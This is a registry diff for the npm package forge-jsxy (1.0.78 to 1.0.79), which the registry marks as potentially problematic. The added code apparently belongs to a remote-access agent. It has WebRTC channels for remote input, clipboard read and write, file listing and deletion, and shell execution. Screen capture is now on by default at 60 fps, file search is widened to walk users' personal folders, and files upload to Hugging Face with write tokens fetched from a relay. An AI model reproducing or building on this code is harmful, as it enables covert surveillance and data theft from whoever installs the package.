forge-jsxy 1.0.78 → 1.0.79

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of forge-jsxy might be problematic. Click here for more details.

@@ -0,0 +1,259 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.ForgeRtcAgentSession = void 0;
4
+ exports.forgeWebRtcP2PEnabled = forgeWebRtcP2PEnabled;
5
+ exports.agentOutboundPreferRtcDc = agentOutboundPreferRtcDc;
6
+ exports.rtcIceServersForNodeDc = rtcIceServersForNodeDc;
7
+ exports.loadNodeDcPeerConnection = loadNodeDcPeerConnection;
8
+ function forgeWebRtcP2PEnabled() {
9
+ const raw = (process.env.FORGE_JS_WEBRTC_P2P || "1").trim().toLowerCase();
10
+ return !["0", "false", "no", "off"].includes(raw);
11
+ }
12
+ /** ICE UDP multiplexing (libdatachannel): fewer ports; often pairs better with browser bundle/mux. */
13
+ function forgeRtcIceUdpMuxEnabled() {
14
+ const raw = (process.env.FORGE_JS_WEBRTC_ICE_UDP_MUX || "1").trim().toLowerCase();
15
+ return !["0", "false", "no", "off"].includes(raw);
16
+ }
17
+ /** ICE over TCP candidates when UDP is blocked (may trade latency for connectivity). */
18
+ function forgeRtcIceTcpEnabled() {
19
+ const raw = (process.env.FORGE_JS_WEBRTC_ICE_TCP || "1").trim().toLowerCase();
20
+ return !["0", "false", "no", "off"].includes(raw);
21
+ }
22
+ /** Small agent→viewer JSON safe on SCTP data channels (≤ ~32k applied in relayAgent). Large/binary stays on WebSocket. */
23
+ const AGENT_OUTBOUND_RTC_DC_TYPES = new Set([
24
+ "rc_input_result",
25
+ "rc_clipboard_set_result",
26
+ "rc_clipboard_get_result",
27
+ "fs_roots_result",
28
+ "fs_list_result",
29
+ "fs_parent_result",
30
+ "fs_delete_result",
31
+ "fs_error",
32
+ /** Short shell output uses DC; large stdout/stderr exceeds relayAgent 32k cap and falls back to WebSocket. */
33
+ "fs_shell_exec_result",
34
+ "fs_hf_upload_progress",
35
+ ]);
36
+ function agentOutboundPreferRtcDc(msgType) {
37
+ return AGENT_OUTBOUND_RTC_DC_TYPES.has(msgType);
38
+ }
39
+ function rtcIceServersForNodeDc(raw) {
40
+ if (!raw || !Array.isArray(raw) || raw.length === 0) {
41
+ return ["stun:stun.l.google.com:19302"];
42
+ }
43
+ const out = [];
44
+ for (const entry of raw) {
45
+ if (typeof entry === "string") {
46
+ const s = entry.trim();
47
+ if (s)
48
+ out.push(s);
49
+ continue;
50
+ }
51
+ if (!entry || typeof entry !== "object")
52
+ continue;
53
+ const o = entry;
54
+ const urlsRaw = o.urls;
55
+ const username = typeof o.username === "string" ? o.username : "";
56
+ const credential = typeof o.credential === "string"
57
+ ? o.credential
58
+ : typeof o.credential === "number"
59
+ ? String(o.credential)
60
+ : "";
61
+ const pushUrl = (u) => {
62
+ const url = u.trim();
63
+ if (!url)
64
+ return;
65
+ const lower = url.toLowerCase();
66
+ if (username &&
67
+ credential &&
68
+ (lower.startsWith("turn:") || lower.startsWith("turns:"))) {
69
+ const rest = url.replace(/^turns?:/i, "");
70
+ const encU = encodeURIComponent(username);
71
+ const encP = encodeURIComponent(credential);
72
+ const prefix = lower.startsWith("turns:") ? "turns:" : "turn:";
73
+ out.push(`${prefix}${encU}:${encP}@${rest.replace(/^\/\//, "")}`);
74
+ }
75
+ else {
76
+ out.push(url);
77
+ }
78
+ };
79
+ if (typeof urlsRaw === "string") {
80
+ pushUrl(urlsRaw);
81
+ }
82
+ else if (Array.isArray(urlsRaw)) {
83
+ for (const u of urlsRaw) {
84
+ if (typeof u === "string")
85
+ pushUrl(u);
86
+ }
87
+ }
88
+ }
89
+ return out.length > 0 ? out : ["stun:stun.l.google.com:19302"];
90
+ }
91
+ function normalizeRemoteOfferType(raw) {
92
+ const x = raw.trim().toLowerCase();
93
+ if (x === "answer")
94
+ return "answer";
95
+ return "offer";
96
+ }
97
+ class ForgeRtcAgentSession {
98
+ pc;
99
+ destroyed = false;
100
+ constructor(opts) {
101
+ const rtcConfig = {
102
+ iceServers: opts.iceServers,
103
+ iceTransportPolicy: "all",
104
+ };
105
+ if (forgeRtcIceUdpMuxEnabled()) {
106
+ rtcConfig.enableIceUdpMux = true;
107
+ }
108
+ if (forgeRtcIceTcpEnabled()) {
109
+ rtcConfig.enableIceTcp = true;
110
+ }
111
+ const pc = new opts.PeerConnection("forge-agent", rtcConfig);
112
+ this.pc = pc;
113
+ pc.onLocalDescription((sdp, type) => {
114
+ if (this.destroyed)
115
+ return;
116
+ opts.sendSignaling({
117
+ type: "forge_rtc_answer",
118
+ sdp,
119
+ sdpType: type,
120
+ });
121
+ });
122
+ pc.onLocalCandidate((candidate, mid) => {
123
+ if (this.destroyed || !String(candidate || "").trim())
124
+ return;
125
+ opts.sendSignaling({
126
+ type: "forge_rtc_agent_candidate",
127
+ candidate,
128
+ sdpMid: mid,
129
+ });
130
+ });
131
+ pc.onDataChannel((dc) => {
132
+ if (this.destroyed)
133
+ return;
134
+ const label = dc.getLabel();
135
+ const bindInbound = () => {
136
+ dc.onMessage((msg) => {
137
+ if (this.destroyed)
138
+ return;
139
+ let text;
140
+ if (typeof msg === "string") {
141
+ text = msg;
142
+ }
143
+ else if (Buffer.isBuffer(msg)) {
144
+ text = msg.toString("utf8");
145
+ }
146
+ else {
147
+ text = Buffer.from(new Uint8Array(msg)).toString("utf8");
148
+ }
149
+ opts.onInboundDcText(text);
150
+ });
151
+ };
152
+ if (label === "forge-rc") {
153
+ opts.setOutboundDc("main", dc);
154
+ dc.onOpen(() => {
155
+ if (this.destroyed)
156
+ return;
157
+ opts.sendSignaling({
158
+ type: "forge_rtc_agent_status",
159
+ ok: true,
160
+ datachannel: true,
161
+ });
162
+ });
163
+ dc.onClosed(() => {
164
+ opts.setOutboundDc("main", null);
165
+ this.close();
166
+ opts.onFatal();
167
+ });
168
+ dc.onError((_err) => {
169
+ opts.setOutboundDc("main", null);
170
+ this.close();
171
+ opts.onFatal();
172
+ });
173
+ bindInbound();
174
+ }
175
+ else if (label === "forge-rc-input") {
176
+ opts.setOutboundDc("input", dc);
177
+ dc.onClosed(() => opts.setOutboundDc("input", null));
178
+ dc.onError((_err) => opts.setOutboundDc("input", null));
179
+ bindInbound();
180
+ }
181
+ else if (label === "forge-bulk") {
182
+ const api = {
183
+ sendMessage: (s) => dc.sendMessage(s),
184
+ sendMessageBinary: (b) => dc.sendMessageBinary(b),
185
+ isOpen: () => dc.isOpen(),
186
+ };
187
+ opts.setOutboundDc("bulk", api);
188
+ dc.onClosed(() => opts.setOutboundDc("bulk", null));
189
+ dc.onError((_err) => opts.setOutboundDc("bulk", null));
190
+ dc.onMessage(() => {
191
+ /* Viewer→agent bulk not used in v1 */
192
+ });
193
+ }
194
+ else {
195
+ try {
196
+ dc.close();
197
+ }
198
+ catch {
199
+ /* skip */
200
+ }
201
+ }
202
+ });
203
+ try {
204
+ pc.setRemoteDescription(opts.sdp, normalizeRemoteOfferType(opts.sdpType));
205
+ }
206
+ catch (e) {
207
+ if (!opts.quiet) {
208
+ console.warn(`[forge-agent] WebRTC setRemoteDescription failed: ${String(e)}`);
209
+ }
210
+ opts.sendSignaling({
211
+ type: "forge_rtc_agent_status",
212
+ ok: false,
213
+ datachannel: false,
214
+ detail: `setRemoteDescription: ${String(e)}`,
215
+ });
216
+ this.close();
217
+ throw e;
218
+ }
219
+ }
220
+ addRemoteIce(candidate, mid) {
221
+ if (this.destroyed || !String(candidate || "").trim())
222
+ return;
223
+ try {
224
+ this.pc.addRemoteCandidate(candidate, mid || "");
225
+ }
226
+ catch {
227
+ /* ignore malformed trickle ICE */
228
+ }
229
+ }
230
+ close() {
231
+ if (this.destroyed)
232
+ return;
233
+ this.destroyed = true;
234
+ try {
235
+ this.pc.close();
236
+ }
237
+ catch {
238
+ /* skip */
239
+ }
240
+ }
241
+ }
242
+ exports.ForgeRtcAgentSession = ForgeRtcAgentSession;
243
+ function loadNodeDcPeerConnection() {
244
+ try {
245
+ require.resolve("node-datachannel");
246
+ }
247
+ catch {
248
+ return null;
249
+ }
250
+ try {
251
+ // Optional native dependency — may be absent on some installs.
252
+ // eslint-disable-next-line @typescript-eslint/no-require-imports
253
+ const m = require("node-datachannel");
254
+ return m.PeerConnection;
255
+ }
256
+ catch {
257
+ return null;
258
+ }
259
+ }
@@ -5,6 +5,13 @@ export declare const MAX_LIST_ENTRIES = 1000000;
5
5
  * (~92 MiB raw → ~123 MiB base64 + JSON, under relay `maxPayload` 2**27).
6
6
  */
7
7
  export declare const MAX_READ_BYTES: number;
8
+ /**
9
+ * True when the listing directory is a bare OS filesystem root (Windows `C:\\`, POSIX `/`).
10
+ * User-data search narrowing applies **only** here: searching from `C:\\Users\\me` must still walk
11
+ * Pictures, Videos, etc., not only Desktop/Documents/Downloads intersect roots.
12
+ */
13
+ export declare function fsSearchListingIsFilesystemRoot(dirResolved: string): boolean;
14
+ export declare function fsSearchWalkAllowsCurReal(curRealNorm: string, listingDirNorm: string, listingDirResolved: string, enforceUserScope: boolean, userSubtreeRoots: string[] | null): boolean;
8
15
  export declare function allowedFsRoots(): string[];
9
16
  export declare function resolveFsPath(pathStr: string, roots: string[]): {
10
17
  path: string;
@@ -37,6 +37,8 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
37
37
  };
38
38
  Object.defineProperty(exports, "__esModule", { value: true });
39
39
  exports.MAX_READ_BYTES = exports.MAX_LIST_ENTRIES = void 0;
40
+ exports.fsSearchListingIsFilesystemRoot = fsSearchListingIsFilesystemRoot;
41
+ exports.fsSearchWalkAllowsCurReal = fsSearchWalkAllowsCurReal;
40
42
  exports.allowedFsRoots = allowedFsRoots;
41
43
  exports.resolveFsPath = resolveFsPath;
42
44
  exports.fsListDir = fsListDir;
@@ -214,22 +216,6 @@ const SEARCH_SKIP_WINDOWS_SYSTEM_DIRS = new Set([
214
216
  "perflogs",
215
217
  "msocache",
216
218
  ]);
217
- const SEARCH_SKIP_UNIX_SYSTEM_DIRS = new Set([
218
- "proc",
219
- "sys",
220
- "dev",
221
- "run",
222
- "var",
223
- "usr",
224
- "bin",
225
- "sbin",
226
- "lib",
227
- "lib64",
228
- "opt",
229
- "snap",
230
- "tmp",
231
- "lost+found",
232
- ]);
233
219
  const SEARCH_SKIP_SYSTEM_FILES = new Set(["pagefile.sys", "hiberfil.sys", "swapfile.sys"]);
234
220
  function userDataSearchRoots() {
235
221
  const out = [];
@@ -317,18 +303,60 @@ function pathIntersectsSearchScope(p, scopeRoots) {
317
303
  }
318
304
  return false;
319
305
  }
320
- function shouldSkipSearchEntryName(name, isDir) {
321
- const n = String(name || "").trim().toLowerCase();
306
+ /**
307
+ * True when the listing directory is a bare OS filesystem root (Windows `C:\\`, POSIX `/`).
308
+ * User-data search narrowing applies **only** here: searching from `C:\\Users\\me` must still walk
309
+ * Pictures, Videos, etc., not only Desktop/Documents/Downloads intersect roots.
310
+ */
311
+ function fsSearchListingIsFilesystemRoot(dirResolved) {
312
+ try {
313
+ const rp = normCase(path.normalize(fs.realpathSync(dirResolved)));
314
+ if (!isWindows())
315
+ return rp === "/" || rp === "//";
316
+ return /^[a-z]:\\?$/.test(rp);
317
+ }
318
+ catch {
319
+ return false;
320
+ }
321
+ }
322
+ function fsSearchWalkAllowsCurReal(curRealNorm, listingDirNorm, listingDirResolved, enforceUserScope, userSubtreeRoots) {
323
+ if (!pathUnder(curRealNorm, listingDirNorm))
324
+ return false;
325
+ const narrowToUserSubtrees = enforceUserScope &&
326
+ userSubtreeRoots != null &&
327
+ userSubtreeRoots.length > 0 &&
328
+ fsSearchListingIsFilesystemRoot(listingDirResolved);
329
+ if (narrowToUserSubtrees)
330
+ return pathIntersectsSearchScope(curRealNorm, userSubtreeRoots);
331
+ return true;
332
+ }
333
+ /**
334
+ * Skip rules while walking the search tree. Unix: **do not** skip by basename (`tmp/`, `bin/`, etc.)
335
+ * inside project trees — only skip resolved paths under kernel/virtual mounts (`/proc`, `/sys`, …).
336
+ */
337
+ function shouldSkipSearchTreeEntry(childAbs, baseName, isDir) {
338
+ const n = String(baseName || "").trim().toLowerCase();
322
339
  if (!n)
323
340
  return false;
324
- if (isDir && (0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(name))
325
- return true;
326
- if (isDir && isWindows() && SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(n))
327
- return true;
328
- if (isDir && !isWindows() && SEARCH_SKIP_UNIX_SYSTEM_DIRS.has(n))
341
+ if (!isDir) {
342
+ return SEARCH_SKIP_SYSTEM_FILES.has(n);
343
+ }
344
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(baseName))
329
345
  return true;
330
- if (!isDir && SEARCH_SKIP_SYSTEM_FILES.has(n))
346
+ if (isWindows() && SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(n))
331
347
  return true;
348
+ if (!isWindows()) {
349
+ try {
350
+ const rp = normCase(fs.realpathSync(childAbs));
351
+ for (const pre of ["/proc", "/sys", "/dev", "/run"]) {
352
+ if (rp === pre || rp.startsWith(pre + path.sep))
353
+ return true;
354
+ }
355
+ }
356
+ catch {
357
+ /* broken symlink / unreadable — still allow match attempt */
358
+ }
359
+ }
332
360
  return false;
333
361
  }
334
362
  function searchUserDataOnlyEnabled() {
@@ -337,7 +365,11 @@ function searchUserDataOnlyEnabled() {
337
365
  .toLowerCase();
338
366
  if (raw)
339
367
  return ["1", "true", "yes", "on"].includes(raw);
340
- // Keep unit/invariant tests deterministic on temp dirs; production defaults to enabled.
368
+ /**
369
+ * Production default on: from a drive/root-like listing, recursive search stays under profile-related
370
+ * subtrees. Folders **outside** those (other volumes, `/tmp`, etc.) still deep-search starting at the
371
+ * current directory — see `scopeRoots` fallback in {@link fsListDir}.
372
+ */
341
373
  return String(process.env.NODE_ENV || "").trim().toLowerCase() !== "test";
342
374
  }
343
375
  /**
@@ -633,30 +665,37 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
633
665
  const searchScanCap = maxSearchScanEntries();
634
666
  const userScopeRoots = userDataSearchRoots();
635
667
  const enforceUserScope = searchUserDataOnlyEnabled();
636
- const scopeRoots = enforceUserScope
637
- ? userScopeRoots.length > 0
638
- ? userScopeRoots.filter((root) => pathIntersectsSearchScope(dir, [root]))
639
- : [dir]
640
- : [dir];
641
- if (scopeRoots.length === 0) {
642
- return {
643
- ok: true,
644
- path: dir,
645
- entries: [],
646
- truncated: false,
647
- search_query: parsedSearch.normalized,
648
- search_applied: true,
649
- search_recursive: true,
650
- search_scan_limited: false,
651
- search_scanned_entries: 0,
652
- };
668
+ /**
669
+ * Optional subtrees (Desktop/Documents/Downloads, …) used **only** when the listing path is a bare
670
+ * filesystem root (`C:\\`, `/`). Otherwise the walk is bounded by {@link pathUnder}(`cur`, `dir`)
671
+ * so profile folders like Pictures/Videos are never incorrectly excluded.
672
+ */
673
+ let userSubtreeRoots = null;
674
+ if (enforceUserScope && userScopeRoots.length > 0) {
675
+ const intersecting = userScopeRoots.filter((root) => pathIntersectsSearchScope(dir, [root]));
676
+ if (intersecting.length > 0)
677
+ userSubtreeRoots = intersecting;
653
678
  }
679
+ const listingDirNorm = normCase(path.normalize(dir));
654
680
  const queue = [{ abs: dir, rel: "" }];
655
681
  let qIdx = 0;
682
+ /** Avoid cycles / duplicate work when directory symlinks point into already-visited real paths. */
683
+ const visitedSearchRealPaths = new Set();
656
684
  while (qIdx < queue.length) {
657
685
  const cur = queue[qIdx++];
658
- if (!pathIntersectsSearchScope(cur.abs, scopeRoots))
686
+ let curReal = "";
687
+ try {
688
+ curReal = normCase(fs.realpathSync(cur.abs));
689
+ }
690
+ catch {
691
+ continue;
692
+ }
693
+ if (visitedSearchRealPaths.has(curReal))
659
694
  continue;
695
+ visitedSearchRealPaths.add(curReal);
696
+ if (!fsSearchWalkAllowsCurReal(curReal, listingDirNorm, dir, enforceUserScope, userSubtreeRoots)) {
697
+ continue;
698
+ }
660
699
  let names;
661
700
  try {
662
701
  names = fs.readdirSync(cur.abs, { withFileTypes: true });
@@ -672,12 +711,16 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
672
711
  searchScanLimited = true;
673
712
  break;
674
713
  }
675
- if (shouldSkipSearchEntryName(ent.name, ent.isDirectory()))
676
- continue;
677
714
  const childAbs = path.join(cur.abs, ent.name);
678
715
  const childRel = cur.rel ? path.join(cur.rel, ent.name) : ent.name;
679
- if (!pathIntersectsSearchScope(childAbs, scopeRoots))
716
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name))
717
+ continue;
718
+ if (isWindows() &&
719
+ ent.isDirectory() &&
720
+ !ent.isSymbolicLink() &&
721
+ SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(String(ent.name || "").trim().toLowerCase())) {
680
722
  continue;
723
+ }
681
724
  if (macosPathRequiresTccPrompt(childAbs))
682
725
  continue;
683
726
  let lst;
@@ -695,9 +738,9 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
695
738
  catch {
696
739
  continue;
697
740
  }
698
- if (shouldSkipSearchEntryName(ent.name, isDir))
741
+ if (shouldSkipSearchTreeEntry(childAbs, ent.name, isDir))
699
742
  continue;
700
- if (isDir && !isSymlink)
743
+ if (isDir)
701
744
  queue.push({ abs: childAbs, rel: childRel });
702
745
  if (!fsEntryMatchesSearch(ent.name, childRel, parsedSearch.tokens))
703
746
  continue;
@@ -2365,17 +2408,33 @@ function remoteStreamUseVirtualOffsets() {
2365
2408
  return ["1", "true", "yes", "on"].includes(raw);
2366
2409
  }
2367
2410
  /**
2368
- * Fast gdigrab path for Windows remote_stream. Disabled by default because
2369
- * reliability/full-desktop coverage is preferred over throughput for readable
2370
- * 1 FPS remote control sessions.
2411
+ * Fast ffmpeg gdigrab path for Windows `remote_stream`. **On by default** for lower
2412
+ * capture latency; falls back to full VirtualScreen PowerShell capture when gdigrab
2413
+ * looks partial/wrong. Disable with `FORGE_JS_REMOTE_STREAM_FAST_CAPTURE=0` (or
2414
+ * `false` / `no` / `off`) if a host misbehaves with gdigrab.
2371
2415
  */
2372
2416
  function remoteStreamUseFastCapture() {
2373
2417
  const raw = String(process.env.FORGE_JS_REMOTE_STREAM_FAST_CAPTURE || "")
2374
2418
  .trim()
2375
2419
  .toLowerCase();
2376
2420
  if (!raw)
2421
+ return true;
2422
+ if (["0", "false", "no", "off"].includes(raw))
2377
2423
  return false;
2378
- return ["1", "true", "yes", "on"].includes(raw);
2424
+ return true;
2425
+ }
2426
+ /**
2427
+ * ffmpeg MJPEG `-q:v` for Windows gdigrab remote_stream (2 = high quality / larger,
2428
+ * 31 = smaller / faster). Override via `FORGE_JS_REMOTE_STREAM_JPEG_Q`.
2429
+ */
2430
+ function remoteStreamJpegQuality() {
2431
+ const raw = String(process.env.FORGE_JS_REMOTE_STREAM_JPEG_Q || "").trim();
2432
+ if (!raw)
2433
+ return 6;
2434
+ const n = parseInt(raw, 10);
2435
+ if (!Number.isFinite(n))
2436
+ return 6;
2437
+ return Math.min(31, Math.max(2, n));
2379
2438
  }
2380
2439
  function cameraOverlayEnabledByDefault() {
2381
2440
  const raw = String(process.env.FORGE_JS_CAMERA_OVERLAY_ENABLED || "").trim().toLowerCase();
@@ -5490,6 +5549,7 @@ async function fsWindowsScreenshotCapture(options) {
5490
5549
  const vb = hasCachedBounds
5491
5550
  ? getWindowsVirtualScreenBoundsCached(Number(windowsVirtualBoundsCache?.bounds?.w || 1920), Number(windowsVirtualBoundsCache?.bounds?.h || 1080))
5492
5551
  : null;
5552
+ const jpegQ = remoteStreamJpegQuality();
5493
5553
  const args = [
5494
5554
  "-nostdin",
5495
5555
  "-hide_banner",
@@ -5498,6 +5558,8 @@ async function fsWindowsScreenshotCapture(options) {
5498
5558
  "-y",
5499
5559
  "-f",
5500
5560
  "gdigrab",
5561
+ "-framerate",
5562
+ "60",
5501
5563
  "-draw_mouse",
5502
5564
  "1",
5503
5565
  "-i",
@@ -5509,7 +5571,7 @@ async function fsWindowsScreenshotCapture(options) {
5509
5571
  if (vf) {
5510
5572
  args.push("-vf", vf);
5511
5573
  }
5512
- args.push("-q:v", "6", "-frames:v", "1", outJpg);
5574
+ args.push("-q:v", String(jpegQ), "-frames:v", "1", outJpg);
5513
5575
  const ok = await trySpawnScreenshotTool(ffmpeg, args, outJpg, 12_000);
5514
5576
  if (ok && fs.existsSync(outJpg)) {
5515
5577
  const fast = await resultFromPngPath(outJpg, options);
@@ -14,12 +14,14 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
14
14
  * Nothing is written to disk on the agent for that path. Use **`wss://`** in production so tokens
15
15
  * are not sent in clear text. After each Hub upload that used relay-fetched credentials, call
16
16
  * `scrubHfCredentialsInPlace` on that object so the token field is cleared
17
- * (JavaScript cannot truly wipe string contents in memory).
17
+ * (JavaScript cannot truly wipe string contents in memory). The relay also scrubs its decrypted
18
+ * copy immediately after sending `relay_hf_credentials_result` over the socket.
18
19
  *
19
20
  * Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** to base64(iv12 || tag16 || ciphertext) where
20
21
  * plaintext UTF-8 JSON is:
21
22
  * `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
22
23
  * (`hubUrl` optional; `namespace` = Hugging Face username or org for automatic `namespace/<seq_id>` session repos).
24
+ * The token must allow **writing** Hub repos (classic: enable Write; fine-grained: Repositories → write for that user/org).
23
25
  *
24
26
  * Optional dev escape hatch (not for production): `CFGMGR_HF_ALLOW_PLAINTEXT=1` with
25
27
  * `HUGGINGFACE_HUB_TOKEN` and optional `HUGGINGFACE_HUB_URL`.
@@ -28,6 +30,7 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
28
30
  * `CFGMGR_HF_MIN_FETCH_INTERVAL_MS`, `CFGMGR_HF_USE_XET` (written `0` in agent env; uploads do not use Hub Xet),
29
31
  * `CFGMGR_HF_SKIP_OPENAS_BLOB` (default `1` — avoid `fs.openAsBlob` Hub payload path),
30
32
  * `CFGMGR_HF_FETCH_RETRIES` / `CFGMGR_HF_FETCH_RETRY_MS`, `CFGMGR_HF_UPLOAD_RETRIES` / `CFGMGR_HF_UPLOAD_RETRY_MS`,
33
+ * `CFGMGR_HF_HUB_CUSTOM_FETCH=1` (optional legacy Hub fetch wrappers — default **off**; enabling can break LFS uploads),
31
34
  * `CFGMGR_HF_VERBOSE_ERRORS=1` — see `hfUpload.ts`.
32
35
  */
33
36
  const node_crypto_1 = require("node:crypto");
package/dist/hfUpload.js CHANGED
@@ -55,7 +55,11 @@ exports.runHfUpload = runHfUpload;
55
55
  * `CFGMGR_HF_LEGACY_MAX_BYTES`).
56
56
  * Tree paths are sanitized (`..`, control chars). Hub **Xet is never used** for uploads (LFS only).
57
57
  *
58
- * Resilience (defaults on, `npm install` only): transient **fetch** throws retry (see `CFGMGR_HF_FETCH_RETRIES`);
58
+ * **HTTP fetch:** by default Hub uploads use Node’s global `fetch` only. Set **`CFGMGR_HF_HUB_CUSTOM_FETCH=1`**
59
+ * on the agent to enable our retry + S3 CRC32 wrappers (legacy workaround); leaving it **off** avoids
60
+ * HTTP **403** failures on current HF LFS presigned uploads for many deployments.
61
+ *
62
+ * Resilience (defaults on with custom fetch): transient **fetch** throws retry (see `CFGMGR_HF_FETCH_RETRIES`);
59
63
  * whole **commit** retries on transient Hub / wire errors (see `CFGMGR_HF_UPLOAD_RETRIES`). This improves
60
64
  * success under blips; it cannot guarantee every upload (locks, auth, quotas, huge trees still fail).
61
65
  *
@@ -133,6 +137,16 @@ function persistHubDisableXetToAgentEnv() {
133
137
  process.env.CFGMGR_HF_USE_XET = "0";
134
138
  }
135
139
  const MEMORY_BLOB_UPLOAD_MAX = 80 * 1024 * 1024;
140
+ /** Hub error bodies may echo secrets — redact token-shaped substrings before showing in UI. */
141
+ function redactHubApiMessageForUi(raw, maxLen = 280) {
142
+ let s = String(raw || "")
143
+ .replace(/\bhf_[A-Za-z0-9_-]+\b/gi, "hf_[redacted]")
144
+ .replace(/\s+/g, " ")
145
+ .trim();
146
+ if (s.length > maxLen)
147
+ s = s.slice(0, maxLen).trimEnd() + "…";
148
+ return s;
149
+ }
136
150
  async function memoryBlobFromLocalIfSmall(absPath) {
137
151
  try {
138
152
  const st = await fs.promises.stat(absPath);
@@ -168,8 +182,18 @@ function localDiskPathForUploadRetry(p) {
168
182
  function formatHfUploadError(err) {
169
183
  if (err instanceof hub_1.HubApiError) {
170
184
  const c = err.statusCode;
171
- if (c === 401 || c === 403) {
172
- return "Hugging Face rejected the token or this account cannot write that repo. Check credentials and repo access.";
185
+ const hubSays = redactHubApiMessageForUi(err.message || "");
186
+ const suffix = hubSays.length > 12 ? ` Hub details: ${hubSays}` : "";
187
+ if (c === 401) {
188
+ return ("Hugging Face rejected the token (HTTP 401). Regenerate an access token at " +
189
+ "https://huggingface.co/settings/tokens — classic tokens need **Write**, fine-grained tokens need **Repositories: write** " +
190
+ "for the target user/org. Encrypt it into RELAY_HF_CREDENTIALS_B64 (relay) or CFGMGR_HF_CREDENTIALS_B64 (agent) and restart." +
191
+ suffix);
192
+ }
193
+ if (c === 403) {
194
+ return ("Hugging Face denied writing this repo (HTTP 403). Common causes: token is **read-only**, fine-grained token lacks **write** on this repo/namespace, " +
195
+ "you are not an org **writer**, manual repo id is wrong, or the repo exists under another account. Session uploads use repo `<namespace>/<seq_id>` where **namespace** comes from your HF credentials JSON." +
196
+ suffix);
173
197
  }
174
198
  if (c === 404) {
175
199
  return "Hugging Face repo not found. Check the repo id, namespace, or create the repo first.";
@@ -352,8 +376,18 @@ function computeCrc32(data) {
352
376
  }
353
377
  return (crc ^ 0xffffffff) >>> 0;
354
378
  }
355
- /** Custom `fetch` for Hub: optional spacing + retries on thrown network errors (defaults on). */
379
+ /**
380
+ * Legacy Hub `fetch` injection (retries + min interval + S3 CRC32 header fix for older hub/S3 combos).
381
+ * Default **off** — enabling it can cause **HTTP 403** on LFS multipart uploads with current HF endpoints.
382
+ */
383
+ function hubCustomFetchStackEnabled() {
384
+ const raw = (process.env.CFGMGR_HF_HUB_CUSTOM_FETCH || "").trim().toLowerCase();
385
+ return raw === "1" || raw === "true" || raw === "yes" || raw === "on";
386
+ }
387
+ /** Custom `fetch` for Hub when {@link hubCustomFetchStackEnabled}; otherwise native `fetch` only. */
356
388
  function buildHubFetch() {
389
+ if (!hubCustomFetchStackEnabled())
390
+ return undefined;
357
391
  const minMs = hubMinFetchIntervalMs();
358
392
  const maxThrow = hubFetchMaxAttemptsOnThrow();
359
393
  let inner = globalThis.fetch.bind(globalThis);